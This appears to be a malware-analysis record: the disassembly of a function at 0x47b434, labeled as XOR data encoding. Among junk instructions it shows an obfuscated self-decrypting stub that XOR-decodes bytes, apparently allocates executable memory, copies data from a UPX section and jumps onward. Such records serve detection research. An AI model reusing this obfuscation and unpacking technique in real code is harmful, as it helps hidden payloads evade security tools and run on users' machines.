Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x18e490e5
add edx, 1
and ecx, edx
popal
inc ecx
add ecx, edx
add edx, 0x107874ce
mov edx, 0
mov ecx, edi
add eax, 0xb03621ed
add eax, 0xd96659c6
sub ebx, eax
mov esi, ecx
sub eax, 0xde5e554
or eax, eax
mov edi, esi
sub eax, ebx
sub ebx, eax
inc ebx
inc edx
dec ebx
sub ebx, eax
cmp edx, 0x10095ea
jne 0x47b451
mov eax, ebx
mov eax, ebx
sub eax, 0x311bed1d
mov edx, ecx
sub ecx, 0x7345878f
mov ecx, 0x47b21e
mov edi, edx
dec edi
mov esi, 0x47b412
not edi
sub edi, eax
add edx, 0x7a10583e
mov ebx, dword [ecx]
add edi, edi
not edx
sub edi, edx
and ebx, 0xff
and edx, edx
mov edi, 0x73738f10
or eax, edx
xor dword [esi], ebx
sub edi, eax
sub eax, 0xdf665de
add esi, 1
sub edx, 0x6fca612e
add edi, 1
inc ecx
mov edi, 0xf580bc73
mov edi, eax
cmp esi, entry0
jl 0x47b4ab
dec edi
sub eax, 0x1650753e
or edx, edx
or edx, edi
not edx
add esi, ebx
add edx, ebx
dec ecx
mov edi, 0x47b416
and esi, edx
dec esi
mov edi, dword [edi]
sub ecx, 0xe477bdca
sub ebx, esi
sub esi, 0xa70861ff
mov edi, dword [edi]
inc ecx
mov esi, edx
not esi
push edi
not ebx
or edx, edx
mov edx, 0x81dbff54
mov edi, 0x47b412
not ecx
add ebx, 1
mov edi, dword [edi]
mov ecx, esi
add esi, ecx
and esi, esi
mov edi, dword [edi]
add ecx, 0x2c3ce49
inc esi
or esi, edx
push 0x47b41a
mov ebx, ecx
add ecx, 0xd5c80899
call edi
inc ecx
mov ebx, ecx
not ebx
mov edi, dword [esp]
add esp, 4
and esi, edx
add edx, ebx
or esi, ecx
push 0x47b427
sub edx, 0xf9651407
or ebx, ebx
push eax
or ecx, esi
mov esi, 0x8ed1c23f
call edi
add ecx, 0xd6887dde
add edx, 0x24686c8c
sub esp, 4
mov dword [esp], 0x40
add edx, 0xd463ea02
dec ebx
sub esp, 4
mov dword [esp], 0x3000
mov ecx, esi
not edx
sub esi, 0x3ebb1346
push 0x200007c5
add edx, 0x3ecb7d3a
add ebx, 0xd3eb7db4
mov edx, 0xf14df6eb
sub esp, 4
mov dword [esp], 0
and edx, esi
mov esi, ebx
call eax
not ebx
dec ebx
add eax, 0x20000734
mov ecx, esi
sub esi, ebx
mov edi, 0xa8057ada
mov edx, ebx
and ecx, ebx
mov esi, 0x4dbfc8fd
mov dword [eax], edi
not ebx
sub ecx, 0xbf00e6ae
inc edx
mov edi, dword [eax]
or edx, ebx
add ecx, edx
cmp edi, 0xa8057ada
je 0x47b616
mov eax, 0
mov dl, byte [eax]
and esi, edx
add ebx, 1
not edx
mov esi, 0x7ffbf978
dec esi
and ecx, edx
sub ecx, 0xca94f1ee
sub ecx, 0x266a6571
mov ebx, section.UPX1
not edx
mov ecx, 0x293840e6
mov edi, 0x47b21d
add edx, edx
mov ecx, 0x152c37fe
mov esi, 0
sub ecx, edx
add ecx, 0xb2b8c14c
or ecx, edx
mov eax, 0x47b21e
sub edx, 0xfc5cb54d
add edx, 0x322ec6ac
add ecx, 1
lea eax, [eax + esi]
mov ecx, edx
sub edx, 0x26a8dd29
sub edx, 0x8214a442
mov eax, dword [eax]
add ecx, 0xdc677859
add ecx, edx
and eax, 0xff
mov ecx, 0x625cf4f0
and ecx, ecx
add ecx, ecx
add esi, 1
inc edx
dec ecx
cmp esi, 0x1f4
jne 0x47b6b1
mov esi, 0
not ecx
add ecx, edx
sub edx, 1
add edx, 0x7860c128
sub ecx, 0x9711a1b0
sub ecx, 0xc3b2b137
xor dword [ebx], eax
sub edx, 0x222b9102
add ecx, 0x902c576f
add ebx, 2
mov edx, 0x5bbcd229
sub edx, 0xb28694c
cmp ebx, edi
jl 0x47b65b
sub ecx, 1
dec ecx
add edx, 0xe705418b
sub edx, 0xcb4b7020
sub ecx, edx
not edx
mov edi, section.UPX1
add ebx, 0x73e8994f
sub ecx, ebx
mov esi, section.UPX1
sub ecx, 0x7000403a
add ecx, 0x87e33190
mov eax, 0x47b21d
add ecx, ebx
sub ebx, ecx
add ecx, 0x4590a609
mov edx, 0
mov ebx, 0x8b6e77f4
add ebx, 0xe1a1c77e
sub ecx, 0x5975622b
mov dl, byte [esi]
sub ebx, ecx
sub ecx, ebx
mov ebx, 0x6c6db5fb
mov byte [edi], dl
add ebx, 0x6aa9534a
sub ecx, ebx
inc edi
or ebx, ebx
and ebx, ebx
add esi, 2
or ebx, ecx
mov ebx, ecx
cmp esi, eax
jle 0x47b74e
sub ecx, ebx
add ebx, ebx
add ebx, ecx
inc edx
mov ecx, 0x4b9a08f6
inc edx
push 0x45e6a0
and ecx, edx
not edx
sub ecx, 0x94d0eac4
ret